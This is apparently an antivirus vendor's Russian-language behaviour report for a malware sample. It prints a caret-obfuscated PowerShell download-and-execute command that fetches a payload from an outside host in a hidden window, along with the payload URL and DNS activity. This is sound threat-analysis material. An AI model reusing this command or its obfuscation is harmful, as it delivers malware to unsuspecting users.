Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://mondayhelthc.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pow^E^RSh^eLL.e^X^e^ ^-E^X^E^CUti^ONPO^lICY By^PASS ^-NO^PRO^F^I^Le ^-Wi^nD^OWstyLe^ ^HI^DDE^N (^NEW^-OBjECt ^S^ys^tEm^.N^ET.^W^EBCLiE^Nt).^d^Ow^NL^Oa^dFi^Le^('http://mondayh...
Сетевая активность
UDP
- DNS ASK mo####helthc.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pow^E^RSh^eLL.e^X^e^ ^-E^X^E^CUti^ONPO^lICY By^PASS ^-NO^PRO^F^I^Le ^-Wi^nD^OWstyLe^ ^HI^DDE^N (^NEW^-OBjECt ^S^ys^tEm^.N^ET.^W^EBCLiE^Nt).^d^Ow^NL^Oa^dFi^Le^('http://mondayh...' (со скрытым окном)
